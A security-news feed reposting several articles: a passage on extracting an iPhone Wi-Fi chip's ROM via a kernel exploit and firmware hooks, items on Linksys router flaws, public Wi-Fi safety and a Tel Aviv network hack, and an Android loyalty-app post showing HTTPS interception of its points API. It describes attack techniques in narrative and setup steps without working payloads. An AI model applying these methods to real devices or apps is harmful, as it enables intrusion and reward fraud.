As it happens, modifying the kernel’s control flow on modern Apple devices (such as the iPhone 7) is far from trivial. These devices include a dedicated hardware component — Apple’s Memory Cache Controller (AMCC), designed to prevent attackers from modifying the kernel’s code, even in the presence of full control over the kernel itself (i.e., EL1 code execution). While AMCC might make for an interesting research target in its own right, it’s not the main focus of our research at this time. Instead, we’ll have to make do with analysing and modifying the data processed by the kernel.

To gain access to the kernel, we’ll first need to exploit a privilege escalation vulnerability. Luckily, we can forgo all of the complexity involved in developing a functional kernel exploit, and instead rely on some excellent work by Ian Beer.

Earlier this year, Ian developed a fully-functional exploit allowing kernel code execution from any sandboxed process on the system. Upon successful execution, Ian’s exploit provides two primitives – memory-read and memory-write – allowing us to freely explore the kernel’s virtual address-space. Since the exploit was developed against iOS 10.2, we’ll need use the same version on our target iPhone to utilise it.

To allow for increased flexibility, we’ll aim to design our research platform to be modular; instead of tying the platform to a specific memory access mechanism, we’ll use Ian’s exploit as a “black-box”, only deferring memory accesses to the exploit’s primitives.

Moreover, it’s important that whatever system we build allows us to explore the device comfortably. Thinking about this for a moment, we can boil it down to a few basic requirements:

The analysis should be done on a developer-friendly machine, not on the iPhone
The platform should be scriptable and easily extensible
The platform should be independent of the memory access mechanism used

To prevent any dependance on the memory access mechanism, we’ll implement a rudimentary command protocol, allowing clients to perform read or write operation, as well as offering an “execute” primitive for gadgets within the kernel’s VAS. Next, we’ll insert a small stub implementing this protocol into the exploit, allowing us to interface with the exploit as if it were a “black box”. As for the client, it can be executed on any machine, as long as it’s able to connect to the server stub and communicate using the above protocol.

A version of Ian Beer’s extra_recipe exploit with the aforementioned server stub can be found on our bug tracker, here.

Lastly, there’s the question of the research platform itself. For convenience sake, we’ve decided to develop the framework as a set of Python scripts, not unlike forensics frameworks such as Volatility. We’ll slowly grow the framework as we go along, adding scripts for each new data structure we come across.

Since the iOS kernel relies heavily on dynamic dispatch, the ability to explore the kernel in a shell-like interface allows us to easily resolve virtual call targets by inspecting the virtual pointers in the corresponding objects. We’ll use this ability extensively to assist our static analysis in place where the code is hard to untangle.

Over the course of our research we’ll develop several modules for the analysis framework, allowing interaction with objects within the XNU kernel, parts of IOKit, hardware components, and finally the Wi-Fi chip itself.

Setting Up a Test Network

Moving on, we’ll need to create a segregated test network, consisting of the target iPhone, a single MacBook (which we’ll use to interact with the iPhone), and a Wi-Fi router.

As our memory analysis framework transmits data over the network, both the iPhone and the MacBook must be able to communicate with one another. Additionally, as we’re using Xcode to deploy the exploit from the MacBook to the iPhone, it’d be advantageous if the test network allowed both devices to access the internet (so the developer profile could be verified).

Lastly, we require complete control over all aspects of our Wi-Fi router. This is since the next part of our research will deal extensively with the Wi-Fi layer. As such we’d like to reserve the ability to inject, modify and drop frames within our network — primitives which may come in handy later on.

Putting the above requirements together, we arrive at the following basic topology:

In my own lab setup, the role of the Wi-Fi router is fulfilled by my ThinkPad laptop, running Ubuntu 16.04. I’ve connected two SoftMAC TL-WN722N dongles, one for each interface (internal and external). The internal network’s access-point is broadcast using hostapd, and the external interface connects to the internet using wpa_supplicant. Moreover, network-manager is disabled to prevent interference with our configuration.

Note that it’s imperative that the dongle used to broadcast the internal network’s access-point is a SoftMAC device (and not FullMAC) — this will ensure that the MLME and MAC layers are processed by the host’s software (i.e., by the Linux Kernel and hostapd), allowing us to easily control the data transmitted over those layers.

The laptop is also minimally configured to perform IP forwarding and to serve as a NAT, in order to allow connections from the internal network out into the internet. In addition, I’ve set up both DNS and DHCP servers, to prevent the need for any manual configuration. I also recommend setting up DNS forwarding and blocking Apple’s software-update domains within your network (mesu.apple.com, appldnld.apple.com).

Depending on your work environment, it may be the case that many (or most) Wi-Fi channels are rather crowded, thereby reducing the signal quality substantially. While dropping frames doesn’t normally affect our ability to use the network (frames would simply be re-transmitted), it may certainly cause undesirable effects when attempting to run an over-the-air exploit (as re-transmissions may alter the firmware’s state substantially).

Anecdotally, scanning for nearby networks around my desk revealed around 60 Wi-Fi networks, causing quite a bit of noise (and frame loss). If you encounter the same issue, you can boost your RSSI by building a small cantenna and connecting it to your dongle:

Finding the TCM

Using our test network and memory analysis platform, let’s start exploring the kernel’s VAS!

We’ll begin the hunt by searching for the PCIe object within the kernel. After all, we know that finding the object will allow us to locate the suspect TCM mapping, bringing us closer to our goal of developing a Wi-Fi firmware debugger. Since we’re unable to place breakpoints, we’ll need to locate a “path” leading from a known memory location to that of the PCIe object.

So how will we identify the PCIe object once we come across it? Well, while the C++ standards do not explicitly specify how dynamic dispatch is implemented, most compilers tend to use the same ABI for this purpose — the first word of every object containing virtual functions serves as a pointer to that object’s virtual table (commonly referred to as the “virtual pointer” or “vptr”). By leveraging this little tidbit, we can build our own object identification mechanism; simply read the first word of each object we come across, and check which virtual table it corresponds to. Since we’ve already located the VTable corresponding to the PCIe object we’re after, all we’d need to do is check each object against that address.

Now that we know how to identify the object, we can begin searching for it within the kernel. But where should we start? After all, the object could be anywhere in the kernel’s VAS. Perhaps we can gain some more information by taking a look at the the object’s constructor. For starters, doing so will allow us to find out which allocator is used to create the object; if we’re lucky, the object may be allocated from a special pool or stored in a static location.

Kernel Function 0xFFFFFFF006D34734

(OSObject’s “new” operator is a wrapper around kalloc – the XNU kernel allocator).

Looking at the code above, it appears that the PCIe object is not allocated from a special pool. Perhaps, instead, the object is addressable through data stored in the driver’s BSS or data segments? If so, then by following every “chain” of pointers originating in the above segments, we should be able to locate a chain terminating at our desired object.

To test out this hypothesis, let’s write a short python script to perform a depth-first search for the object, starting in the driver’s BSS and data segments. The script simply iterates over each 64-bit word and checks whether it appears to be a valid kernel virtual address. If so, it recursively continues the search by following the pointer and its neighbouring pointers (searching both forwards and backwards), stopping only when the maximal search depth is reached (or the object is located).

After running the DFS and following pointers up to 10 levels deep, we find no matching chain. It appears that none of the objects in the BSS or data segments contain a (sufficiently short) pointer chain leading to our target object.

So how should we proceed? Let’s take a moment to consider what we know about the object so far. First, the object is allocated using the XNU kernel allocator, kalloc. We also know the exact size of the allocation (3824 bytes). And, of course, we have a means of identifying the object once located. Perhaps we could inspect the allocator itself to locate the object…

On the one hand, it’s entirely possible that kalloc doesn’t keep track of in-use allocations. If so, tracking down our object would be rather difficult. On the other hand, if kalloc does have a way of identifying past allocations, we can parse its data structures and follow the same logic to identify our object. To get to the bottom of this, let’s download the XNU source code corresponding to this version of iOS, and read through kalloc’s implementation.

After spending some time familiarising ourselves with kalloc’s implementation, we can sketch a high-level view of the allocator’s implementation. Since kalloc is a “zone allocator”, each allocated object is assigned a region from which it is drawn. Individual regions are represented by the zone_t structure, which holds all of the metadata pertaining to the zone.

The allocator’s operation can be roughly split into two phases: identifying the corresponding zone for each allocation, and carving the allocation from the zone. The identification process itself takes on three distinct flows, depending on the size of the requested allocation. Once the target zone is identified, the allocation process proceeds identically for all three flows.

So how are the allocations themselves performed? During zones’ lifetimes, they must keep track of the their internal metadata, including the zone’s size, the number of stored elements and many other bits and pieces. More importantly, however, the zone must track the state of the memory pages assigned to it. During the kernel’s lifetime, many objects are allocated and subsequently freed, causing the different zones’ pages to fill up or vacate. If each allocation triggered an iteration over all possible pages while searching for vacancies, kalloc would be quite inefficient. Instead, this is tackled by keeping track of several queues, each denoting the state of the memory pages assigned to the zone.

Among the queues stored in each zone are two queues of particular interest to us:

The “intermediate” queue – contains pages with both vacancies and allocated objects.
The “all used” queue – contains pages with no vacancies (only filled with objects).

Putting it all together, we can identify allocated objects in kalloc by simply following the same mechanisms as those used by the allocator to locate the target zone. Once we find the matching zone, we’ll parse its queues to locate each allocation made within the zone, stopping only when we reach our target object.

Finally, we can package all of the above into a module in our analysis framework. The module allows us to either manually iterate over zones’ queues, or to locate objects by their virtual table (optionally accepting the allocation size to quickly locate the relevant zone).

Using our new kalloc module, we can search for the PCIe object using the VTable address we found earlier on. After doing so, we are finally greeted with a positive result — the object is successfully located within the kernel’s VAS! Next, we’ll simply follow the same steps we identified in the memory accessors analysed earlier on, in order to extract the location of the suspected TCM mapping within the kernel.

Since the TCM mapping provides a view into the Wi-Fi chip’s RAM, we’d naturally expect it to begin with the same values as those we had identified in the RAM file extracted from the firmware. Let’s try and read out some of the values from the buffer and see whether it matches the RAM dump:

Great! So we’ve finally found the TCM. This brings us one step closer to acquiring the ROM, and to building a research environment for the Wi-Fi SoC.

Acquiring the ROM

The TCM mapping provides a view into the Wi-Fi chip’s RAM. While accessing the RAM is undoubtedly useful (as it allows us to gain visibility into the runtime structures used by the chip, such as the heap’s state), it does not allow us to directly access the chip’s ROM. So why did we go to all of this effort to begin with? Well, while thus far we have only used the mapped TCM buffer to read the Wi-Fi SoC’s RAM, recall that the same mapping also allows us to freely write to it — any data written to the memory-mapped buffer is automatically reflected back to the Wi-Fi SoC’s RAM.

Therefore, we can leverage our newly acquired write access to the chip’s RAM in order to modify the chip’s behaviour. Perhaps most importantly, we can insert hooks into RAM-resident functions in the firmware, and direct their flow towards our own code chunks. As we’ve already built a patching infrastructure in the previous blog posts, we can incorporate the same code as a module in our analysis framework!

Doing so allows us to provide a convenient interface through which we simply select a target RAM function and provide a corresponding assembly stub, and the framework then proceeds to patch the function on our behalf, direct it into our shellcode to execute our hook (and emulate the original prologue), and finally return back to the original function. The shellcode stub itself is written into the top of the heap’s largest free chunk, allowing us to avoid overwriting any important data structures in the RAM.

Building on this technique, let’s insert a hook into a commonly invoked RAM function (such the the chip’s “ioctl” handler). Once invoked, our hook will simply copy small “windows” of the ROM into predetermined regions in RAM. Note that since the RAM is only slightly larger than the ROM, we cannot leak the entire ROM in one go, so we’ll have to resort to this iterative approach instead. Once a ROM chunk is copied, our shellcode stub signals completion, cause the host to subsequently extract the leaked ROM contents and notify the stub that the next chunk of ROM may be leaked.

Indeed, after inserting the hook and running the scheme detailed above, we are finally presented with a complete copy of the chip’s ROM. Now we can finally move on to analysing the firmware image!

To properly load the firmware into a disassembler, we’ll need to locate the ROM and RAM’s loading addresses, as well as their respective sizes. As we’ve seen in the past, the chip’s ROM is mapped at address zero and spans several KBs. The RAM, on the other hand, is normally mapped at a fixed, higher address.

There are multiple ways in which the RAM’s loading address can be deduced. First, the RAM blob analysed previously embeds its own loading address at a fixed offset. We can verify the address’s validity by attempting to load the RAM at this offset in a disassembler and observing that all the branches resolve correctly. Alternately, we can extract the loading address from the PCIe object we identified earlier in the kernel, as it contains both attributes as fields in the object.

Regardless, all of the above methods yield the same result — the RAM is loaded at address 0x160000, and is 0xE0000 bytes long:

Building a Wi-Fi Firmware Debugger

Having extracted the ROM and achieved TCM access capabilities, we can also build a module to allow us to easily interact with the Wi-Fi chip. This module will act as a debugger of sorts for the Wi-Fi firmware, allowing us to gain full read/write capabilities to the Wi-Fi firmware, as well as providing several key debugging features.

Among the features present in our debugger are the abilities to inspect the heap’s freelist, execute assembly code chunks directly on the firmware, and even hook RAM-resident functions.

In the next blog post we’ll continue expanding the functionality provided by this module as we go along, resulting in a more complete research framework.

Wrapping Up

In this blog post we’ve performed our initial investigation into the Wi-Fi stack on Apple’s mobile devices. Using a privileged research platform to poke around the kernel, we managed to locate the Wi-Fi firmware’s TCM mapping in the host, and to extract the Wi-Fi chip’s ROM for further analysis. We also started fleshing out our research platform within the iOS kernel, allowing us to build our very own Wi-Fi firmware debugger, as well several modules for parsing the kernel’s structures — useful tools for the next stage of our research!

The post Exploiting The Wi-Fi Stack on Apple Devices appeared first on Information Security Newspaper | Hacking News.

Vulnerabilities in Linksys routers allow attackers to hijack dozens of models

Alisa Esage G — Fri, 21 Apr 2017 03:47:49 +0000

Cyber security experts disclosed the existence of 10 unpatched security flaws in dozens of Linksys routers widely used today.

The IOActive senior security consultant Tao Sauvage and the independent security researcher Antide Petit have reported more than a dozen of unpatched security vulnerabilities affecting 25 different Linksys Smart Wi-Fi Routers models.

The security duo published a blog post on Wednesday providing details of their discoveries.Attackers can exploit the security vulnerabilities to extract sensitive information from the devices, trigger DoS conditions, change settings, and completely take them over.The vulnerabilities effects dozens of Linksys models, including EA3500 Linksys Smart Wi-Fi, WRT and Wireless-AC series.Out of 10 security vulnerabilities, six issues can be exploited by remote unauthenticated attackers.

All these products are widely by private users and by small businesses, for this reason, the impact of the discovery is huge. It has been estimated that over 7,000 routers that have their web-based administrative interfaces exposed to the Internet are exposed to attacks.

The experts discovered determined that 11 percent of the 7,000 Linksys routers still used default credentials.

“We performed a mass-scan of the ~7,000 devices to identify the affected models. In addition, we tweaked our scan to find how many devices would be vulnerable to the OS command injection that requires the attacker to be authenticated. We leveraged a router API to determine if the router was using default credentials without having to actually authenticate.” reads the blog post published by the two experts.
“We found that 11% of the ~7000 exposed devices were using default credentials and therefore could be rooted by attackers.”

Most of the flawed Linksys routers (~69%) are located in the USA, followed by Canada (~10%), Hong Kong (~1.8%), Chile (~1.5%), and the Netherlands (~1.4%).

If we consider the possibility that a local attacker exploits the issues to target systems over a local area network, the number of devices at risk dramatically increases.

The experts avoided to provided technical details about the flaw in the Linksys routers to avoid mass attacks against the vulnerable devices. The duo confirmed that two of the flaws could be exploited to trigger a denial-of-service condition on flawed routers, making them unusable or reboot by sending specifically crafted requests to a specific API.

Other vulnerabilities affecting the web interfaces of the Linksys routers allow attackers to bypass authentication and access many CGI scripts that can reveal sensitive information about the flawed devices and their configurations. An attacker can exploit the issues to obtain the Wi-Fi Protected Setup (WPS) PIN and to access the wireless network for further lateral movement from within. An attacker can exploit the vulnerability to determine firmware and kernel versions of the vulnerable Linksys routers and obtain a list of running processes, information about computers connected to the routers, a list of USB devices and the configuration settings for the FTP and SMB file-sharing servers.

The most severe flaw discovered by the experts could be exploited by attackers to inject and execute shell commands with root privileges on the affected routers. The flaw could be exploited to set up a backdoor administrative account that wouldn’t be listed in the web interface.

“Finally, authenticated attackers can inject and execute commands on the operating system of the router with root privileges. One possible action for the attacker is to create backdoor accounts and gain persistent access to the router. Backdoor accounts would not be shown on the web admin interface and could not be removed using the Admin account.” states the post.The flaw requires authentication to be exploited, this means the attackers need to have access to an existing account.

“It should be noted that we did not find a way to bypass the authentication protecting the vulnerable API; this authentication is different than the authentication protecting the CGI scripts.”

Linksys confirmed it is currently working on firmware updates to fix the vulnerabilities, meantime, as mitigation measures it suggests users disable the guest Wi-Fi network feature on their routers.

“Linksys was recently notified of some vulnerabilities in our Linksys Smart Wi-Fi series of routers.
As we work towards publishing firmware updates, as a temporary fix, we recommend that customers using Guest Networks on any of the affected products below temporarily disable this feature to avoid any attempts at malicious activity.” states the advisory. “We
will be releasing firmware updates for all affected devices.”

The complete list of vulnerable Linksys routers is reported in the security advisory issued by the company.

Source:https://securityaffairs.co/wordpress/58177/hacking/linksys-routers-flaws.html

The post Vulnerabilities in Linksys routers allow attackers to hijack dozens of models appeared first on Information Security Newspaper | Hacking News.

How a VPN protects you on Public Wi-Fi

Alisa Esage G — Thu, 16 Feb 2017 03:02:13 +0000

Why using a VPN while surfing Internet on Public Wi-Fi can be a lifesaver. Public Wi-Fi has become a lifeline for people on the go or professionals that travel for work, whether it’s in the airport, hotel, or cafes. But convenience and connectivity can come at a price. Public Wi-Fi networks, especially free ones, are not secure and can be easily tampered with. Users on these networks should be wary that their browsing habits or login information could be open season.

There are several steps you can take to be safer on public Wi-Fi.

Best practices

It’s pretty common for a Wi-Fi network to ask for some personal details before letting you log on. This is typically seen in coffee shops and airports where the network requests an email address and possibly other contact details, sometimes even phone numbers. Consider using a second throwaway email account for signing up to Wi-Fi so your regular email doesn’t get inundated with updates and promotional emails from coffee shops.

Take special care when selecting a public Wi-Fi spot too. You may open up the connections to find a dozen options available, many with similar names. Make sure you are connecting to the official network provided by the business or location you are in. It’s easy for eavesdroppers to create fake networks with legitimate-looking names that will only be used for snooping on your browsing or stealing your data.

Having said that, just because the network is the official one offered by the business does not mean it’s fully safe. It can still be infiltrated by malicious actors. There is a litany of unscrupulous software out there that makes snooping on open Wi-Fi very easy as well as carrying out man in the middle attacks (MITM), where data is intercepted and altered in transit before hitting its destination. Programs like Wireshark and copycat software are unnervingly easy to access and use for intercepting unsecured traffic on public networks. You need to have your wits about you at all times when logging on.

Once you’re connected, you should be careful with what sites you visit and stick to the ones that are secure or are at least more secure than others.

There is also an onus on websites to make their pages more secure for users regardless of where they are.

If you’re unsure about how protected a site is, check its address bar to see if it is using HTTPS (Hypertext Transfer Protocol Secure). HTTPS is a more robust version of HTTP where the communication has been encrypted with Transport Layer Security (TLS). This is usually illustrated by a green padlock symbol in the address bar, though that may depend on what browser you are using. Be wary of each site you visit on public Wi-Fi and stick to the ones you know are making a strong effort at security.

Without protection, your login information, financial information, and personal data like photos and documents can be potentially at risk. You should also have two-factor authentication enabled on your accounts. This creates a two-step process for signing in; first with your regular password and then a one-off code that is sent to your mobile device by SMS. This creates yet another barrier for snoopers that are trying to break into your accounts.

These are simple best practices that you should adhere to but there is still much more to do. Public Wi-Fi is very convenient but it is still a long way off from being truly efficient yet safe.

Take no chances, use a VPN

For greater protection, users should turn to a VPN (virtual private network) for a more rounded protection.

It will not provide 100% security – nothing does – but coupled with the best practices listed above, you will have a much better chance of staying secure.

VPNs have many uses, from accessing geoblocked content to hiding your real IP addresses but added protection on public Wi-Fi is another primary reason that people may use VPN services. Think of it as your frontline defenses against any attacks or breaches online.

A VPN will take your internet traffic and funnel it through its own encrypted servers, adding a protective layer to your browsing that otherwise wouldn’t exist. This is especially important when accessing sites that don’t use HTTPS. In general, we would advise against logging into sensitive accounts like online banking or using payment cards on public Wi-Fi, but if you do, you should definitely be connected to a VPN.

Also, the operators of a public Wi-Fi hotspot have control over what sites can be accessed. You have likely found yourself in a café and clicked a link of a YouTube video, only to find that it is blocked. Being connected to a VPN while on the hotspot can help overcome these kinds of restrictions using the same methods that VPN users employ for working around geoblocks.

What VPN will you need?

The VPN market is flooded with providers offering different subscription services and free services. We recommend that you opt for a paid service with a good reputation. You get what you pay for after all.

Each VPN provider promises greater protection than its competitors and sometimes these promises can be pretty lofty and maybe even unrealistic.

There are several things to consider when choosing a VPN. Firstly, using public Wi-Fi is just one aspect that makes VPNs popular.

What encryption do they use? The standard you should expect is 256-bit encryption. For example, ExpressVPN, which is one of the more popular VPN providers out there, uses 256-bit encryption to protect its users’ traffic and browsing habits. It also provides a 24 hour support helpline for users as well as live chat features – ideal for people on the go after they encounter any problems.

Not all VPNs can offer the same features but plenty of services make big promises so it can be easy to be duped. Along with strong encryption protocols and helpful customer support services around the clock, a VPN needs to have the right amount of servers in the optimum locations that make sense for you. Lag can still be an issue when connecting to a far flung server. You may want to connect to a server in another country to hide your own details but not experience any slowdowns in your connectivity. You’ll need to pick a server nearby.

IPVanish is another popular VPN option for travellers and regular public Wi-Fi users. It has unlimited bandwidth and 24/7 customer services but no live chat feature. Its connections are generally reliable but if you find yourself with technical issues in an airport, you may be waiting a couple of hours for help.

Your VPN connection needs to be stable. Wi-Fi is usually quite patchy so you want a VPN that doesn’t drop off too easily. If your VPN connection ever breaks, your personal data could be exposed immediately.

To get around this, some VPN providers have a feature called a “kill switch”. The kill switch is like a safety net for when things go wrong. If your VPN connection drops off, it will take matters into its own hands. Instead of switching back to the regular internet connection (which is usually the case), the VPN kill switch will kill off the internet connection entirely. The kill switch takes no chances.

Several VPN providers have kill switch features including Private Internet Access, HideMyAssVPN, and TorGuard. If you are already using a VPN that doesn’t have a kill switch there are ways around this. VPNetMon is a free software that will close certain programs you are running if the VPN connection drops off. Similarly, VPN Watcher is a freemium monitoring tool for your VPN connections. These are convenient options but if you are buying a VPN service for the first time, we would recommend that you choose one with a kill switch built in from the beginning.

With all the risks now known, using public Wi-Fi may sound like a nightmare but it doesn’t have to be that way. Your approach to public Wi-Fi doesn’t need to be any different from your general approach to good personal online security. Stay wary of risks at all time, be suspicious of links, and employ the right software like VPNs to guard against threats.

The post How a VPN protects you on Public Wi-Fi appeared first on Information Security Newspaper | Hacking News.

A Hacker Took Over Tel Aviv’s Public Wi-Fi Network to Prove That He Could

Alisa Esage G — Tue, 22 Nov 2016 15:20:18 +0000

Israeli hacker Amihai Neiderman needed three days to hack into Tel Aviv’s free public Wi-Fi. He only worked during the evenings, after he came home from his full-time job as a security researcher. The 26-year-old said the difficulty level was “a solid 5” on a scale from 1 to 10.

The hack, performed in 2014 and recently explained in detail during the DefCampconference in Bucharest, Romania, shows how vulnerable public networks can be and why we should encrypt our web traffic while accessing them.

Neiderman likes scanning Wi-Fi networks as a hobby, to see if they are secure. “You can find a lot of interesting pieces of data floating around the network, from all kind of applications, [and] they can reveal a lot of personal data,” he said.

If a hacker takes over a city’s public Wi-Fi, they can get their hands on usernames, passwords, pictures and sensitive information. “Companies should invest more in code auditing and security design before they release a product,” Neiderman said.

He hacked his city out of curiosity. One day, he was driving home from work and he noticed the “FREE_TLV” displayed on his smartphone. He had no idea what it was, but got intrigued. It turned out to be Tel Aviv’s free municipal Wi-Fi network.

The hacker connected to it and checked what his IP was, using https://whatismyip.com. This way, you usually find the address of the router that links you to the internet. To hack Tel Aviv, he needed to take control over this device.

Neiderman got home and found out that the router had one port open. He tried it. This step allowed him to determine the manufacturer of the router. It turned out to be Peplink, a company he had never heard of. It made the mistake of having the administration interfaces online.

The admin interface

At this point, he still didn’t know what device he was connecting to. He compared different products displayed on the company’s website and looked for additional clues in the messages sent to him by the unidentified device. He finally found out it was a high-end load balancing router.

All he needed was a vulnerability to exploit. But breaking the firmware of the router seemed time consuming, as files were encrypted, so the hacker took a different approach. He found a less protected version of the firmware, used for a different device, and found a vulnerability there. To his luck, the same glitch was present in the version installed on the very devices that made up “FREE_TLV”.

He tested the hack at home, emulating the city’s network, and it worked. A real-life test would had been illegal.

The hacker notified Peplink. He was amazed by how fast they replied to his email, and how dedicated they were to patching the flaw.

“[We] worked directly with Amihai so that we could release a fix as quickly as possible,” Eric Wong, evangelist at Peplink, said. The patch was soon available.

Their commitment to security made the hacker trust them. At home, Neiderman’s using a Peplink router, the one the company gave him as a thank you for notifying them.

Source:https://motherboard.vice.com/

The post A Hacker Took Over Tel Aviv’s Public Wi-Fi Network to Prove That He Could appeared first on Information Security Newspaper | Hacking News.

How I Hacked an Android App to Get Free Beer

Alisa Esage G — Mon, 05 Sep 2016 12:17:32 +0000

Just recently I stumbled upon an Android app that lets you receive free products in various pubs, restaurants or cafes in exchange for points accumulated with previous purchases. When the purchase is made, you let the vendor know that you want to receive points. In the app you select the types of products you bought. The eligible types of products may be “Beer”, “Lunch” or“Spent 50 PLN”. It all depends on the place. In order to verify the purchase, the vendor needs to swipe a physical beacon device over your phone (or enter a PIN if that doesn’t work) and the application magically approves the transaction, granting you points.

As an example, one of the places offers you a free beer for 5 points and each purchased beer grants you 1 point. That gives you a free beer for every 5 purchased beers in that place.

Everyone likes free beer, so the first thing I thought about is how secure the purchase verification process is and how exactly do these magical beacons work?

More importantly, was there any way to get around the application’s security and get a taste of free beer?

I intentionally don’t want to mention the name of the application as it only operates in my home country (in Poland). My goal is to give you an idea of what flaws similar applications may have, how to find them and how to better secure such applications. I’ve retained all technical details on how the application works, occasionaly replacing some easy to identify IDs or private information with random data.

In this post I will use a fictional name for the discussed application – “EatApp”.

With that out of the way, let’s get started!

Doing the research

The first thing I was most curious about was the beacon technology that is used with the application. The beacons apparently communicate with the mobile phone over bluetooth as the application made it clear that bluetooth needs to be turned on for the beacon swipes to work.

After a very short time I found the company that manufactures the same beacons that I saw working with EatApp. The company is Estimote and this is what they write about their beacon technology:

Estimote Beacons and Stickers are small wireless sensors that you can attach to any location or object. They broadcast tiny radio signals which your smartphone can receive and interpret, unlocking micro-location and contextual awareness.

With the Estimote SDK, apps on your smartphone are able to understand their proximity to nearby locations and objects, recognizing their type, ownership, approximate location, temperature and motion. Use this data to build a new generation of magical mobile apps that connect the real world to your smart device.

Estimote Beacons are certified Apple iBeacon compatible as well as support Eddystone, an open beacon format from Google.

Apparently EatApp application detects the restaurant’s beacon in close proximity, retrieves some identification values from the device and uses them to authorize the registration of new points with EatApp server.

Thankfully Estimote has released an SDK with a very detailed documentation.

That allowed me to learn more about what information the beacon transmits. More technical information says that:

Estimote Beacon is a small computer. Its 32-bit ARM® Cortex M0 CPU is accompanied by accelerometer, temperature sensor, and what is most important—2.4 GHz radio using Bluetooth 4.0 Smart, also known as BLE or Bluetooth low energy.

I’ve also learned that beacons broadcast the following values:

UUID – most commonly represented as a string, e.g. “B9407F30-F5F8-466E-AFF9-25556B57FE6D”
Major number – an unsigned short integer, i.e., an integer ranging from 1 to 65535, (0 is a reserved value)
Minor number – also an unsigned short integer, like the major number.

Great! They also provide their own Android library to make it very easy for any application to listen to beacon broadcasts. Here is one of the example code snippets from the tutorial on how to set up the beacon listener:

Java

beaconManager = new BeaconManager(getApplicationContext());  
// add this below:
beaconManager.connect(new BeaconManager.ServiceReadyCallback() {  
    @Override
    public void onServiceReady() {
        beaconManager.startMonitoring(new Region(
                "monitored region",
                UUID.fromString("B9407F30-F5F8-466E-AFF9-25556B57FE6D"),
                22504, 48827));
    }
});

It looks to me that the UUID number must be constant and unique to the application using it. Major and Minor numbers on the other hand can describe the product, so in EatApp scenario they must be unique for every restaurant.

Whenever the application waits for the vendor to swipe their beacon over the phone, it listens for packets with specific UUID. If the broadcast packet is detected, it uses signal strength value to measure the beacon’s proximity to the Android device. If the beacon’s signal strength indicates that the device is close enough, it uses the Major and Minor numbers from the packet as validation keys, which are sent with the authorization packet to the EatApp’sserver.

I wondered what was the maximum range over which, the beacon was able to transmit its packets. The application must be constantly listening for beacon broadcast messages as it even gives you a push notification when you enter the restaurant where EatApp beacon is present. I didn’t have to search long for an answer:

Estimote Beacons have a range of up to 70 meters (230 feet). The signal, however, can be diffracted, interfered with, or absorbed by water (including the human body). That’s why in real world conditions you should expect range of about 40–50 meters.

Wow. Up to 70 meters? That means that in theory the security keys (UUID,Major and Minor numbers), that are very likely used for authorizing the rewards, are broadcasted in clear air! That can’t be good.

Knowing that beacon broadcast packets can be received over such range, I needed to find a way how to receive the packets and read their contents. It would probably take me few days to write my own Android app using Estimote SDK, but thankfully Estimote provides their own Estimote Developer App for debugging and troubleshooting problems. From the screenshots I could tell that it gathers all the critical information.

At that moment, obtaining the beacon information would not do me much good without any insight on how the application communicates with the server. It was time to set up a small lab for intercepting and decrypting HTTPS communication from the mobile phone.

The Fiddler in the Middle

For intercepting mobile phone traffic, I’ve used a Windows box. The best and free HTTP/HTTPS Windows proxy for inspecting and forging new packets, that I know of, is Fiddler.

Setting up Fiddler

In order to enable HTTPS interception in Fiddler, open Tools > Telerik Fiddler Options > HTTPS and make sure Capture HTTPS CONNECTs and Decrypt HTTPS traffic is checked. Also make sure that under Tools > Telerik Fiddler Options > Connections, you ticked the Allow remote computers to connectoption.

You will also need to export Fiddler’s Certificate Authority certificate. In the same tab, click Actions and click Export Root Certificate to Desktop like so:

This will put a file named FiddlerRoot.cer on your desktop. This is the root certificate that Fiddler will use to generate forged certificates for every HTTPS connection that goes through the proxy. Obviously Fiddler’s generated root certificate won’t be on your phone’s list of trusted certificate authorities and any HTTPS connection that goes through the proxy will be blocked. That’s why you need to import Fiddler’s certificate on your phone and add it to trusted CA storage.

To do that, first copy the FiddlerRoot.cer to the SD card on your phone by any means. On your phone open Settings > Security and select Install from SD card:

Find and pick Fiddler’s certificate file in order to import it. Now your phone will trust Fiddler’s proxy and you will be able to intercept and decrypt HTTPS traffic. You need to make sure that both your phone and your Windows box with Fiddler are running on the same network.

Before you proceed, find out which port Fiddler’s proxy listens on, by openingTools > Telerik Fiddler Options > Connections and checking the port box:

Next, find out the local network IP address of your Windows box. Open upcmd.exe command line prompt and type in ipconfig. You should be able to find your current IP address under the section with the network interface that you are currently using.

On your Android phone, open up Settings > Wi-Fi and find the wireless network that you are connected to. Touch the network entry for 2 seconds and select Modify network from the drop-down menu. In the dialog tick Advanced options and scroll down to proxy settings. For the proxy type you need to setManual and under hostname and proxy port enter the IP address of your Windows box and the Fiddler’s proxy port. I entered 192.168.0.14 as the hostname and 9090 as the proxy port number.

Now if everything went fine, you should be able to see the outgoing mobile phone traffic in Fiddler.

Capturing traffic

With this setup I was able to intercept EatApp’s traffic as the application didn’t implement certificate pinning. Otherwise, it would require more work to be done. I’d have to decompile the application, remove the certificate comparison check and recompile the application.

I opened up EatApp and opened up Earn Points dialog for randomly picked restaurant. As I didn’t have the restaurant’s Estimote Beacon on me (duh!), I had to use the option to enter the PIN number to verify the point rewards. I entered the random PIN number and checked the intercepted packets in Fiddler.

Sent request:

HTTP

POST https://api.eatapp.com/users/461845f5d03e6c052a43afbc/points HTTP/1.1  
Accept: application/json  
Accept-Language: en-us  
X-App-Version: 1.28.0  
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.4.4;)  
...
Content-Type: application/json; charset=UTF-8  
Content-Length: 265  
Host: api.eatapp.com  
Connection: Keep-Alive  
Accept-Encoding: gzip

{
  "authentication_token":"boKUp9vBHNAJp7XbWZCK",
  "point":{
    "promoted_products_ids":[
      {"id":"760493597149625959620000"},
      {"id":"760493597149625959620000"}
    ],
    "pin":"1234",
    "place_id":"6088",
    "isDoneByGesture":false
  },
  "longitude":0.0,
  "latitude":0.0
}

Received reply:

HTTP

HTTP/1.1 422 Unprocessable Entity  
Server: nginx  
Date: ...  
Content-Type: application/json; charset=utf-8  
Content-Length: 99  
Connection: keep-alive  
Vary: Accept-Encoding

{
  "status":"422 Unprocessable Entity",
  "code":"incorrectArgument",
  "title":"Incorrect argument: pin."
}

The request is not complicated. Parameters are sent as JSON data, there are no hash values being sent as a form of anti-tampering method with account state verification and the PIN is sent just in plain-text. The parameters are pretty self explanatory:

authentication_token – This is the account’s authentication token that was received from the server during the login process. This value is unique to every EatApp account and won’t change.
promoted_products_ids – the array of product type IDs that we are earning points for.
pin – the PIN number that we’ve entered.
place_id – the unique ID of the restaurant where we want to earn points.
